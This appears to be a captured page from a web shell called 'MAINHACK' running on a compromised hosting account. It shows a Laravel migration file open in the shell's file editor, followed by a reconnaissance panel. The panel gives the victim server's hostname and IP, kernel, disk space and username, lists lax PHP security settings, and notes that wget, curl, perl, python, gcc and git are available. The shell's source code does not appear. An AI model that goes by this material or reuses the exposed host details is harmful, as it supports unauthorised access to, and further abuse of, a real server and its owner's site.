[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: 2022_04_10_073822_create_bundles_table.php
<?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; class CreateBundlesTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('bundles', function (Blueprint $table) { $table->engine = "InnoDB"; $table->increments('id'); $table->integer('creator_id')->unsigned(); $table->integer('teacher_id')->unsigned(); $table->integer('category_id')->unsigned()->nullable(); $table->string('slug')->index(); $table->string('thumbnail'); $table->string('image_cover'); $table->string('video_demo')->nullable(); $table->enum('video_demo_source', \App\Models\Bundle::$videoDemoSource)->nullable(); $table->integer('price')->nullable(); $table->integer('points')->nullable(); $table->boolean('subscribe')->default(false); $table->integer('access_days')->nullable()->comment('Number of days to access the bundle'); $table->text('message_for_reviewer')->nullable(); $table->enum('status', \App\Models\Bundle::$statuses); $table->bigInteger('created_at')->unsigned(); $table->bigInteger('updated_at')->unsigned()->nullable(); $table->foreign('creator_id')->on('users')->references('id')->cascadeOnDelete(); $table->foreign('teacher_id')->on('users')->references('id')->cascadeOnDelete(); $table->foreign('category_id')->on('categories')->references('id')->cascadeOnDelete(); }); Schema::create('bundle_translations', function (Blueprint $table) { $table->engine = "InnoDB"; $table->bigIncrements('id'); $table->unsignedInteger('bundle_id'); $table->string('locale', 191)->index(); $table->string('title'); $table->text('seo_description')->nullable(); $table->longText('description')->nullable(); $table->foreign('bundle_id')->on('bundles')->references('id')->onDelete('cascade'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('bundles'); Schema::dropIfExists('bundle_translations'); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.86 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285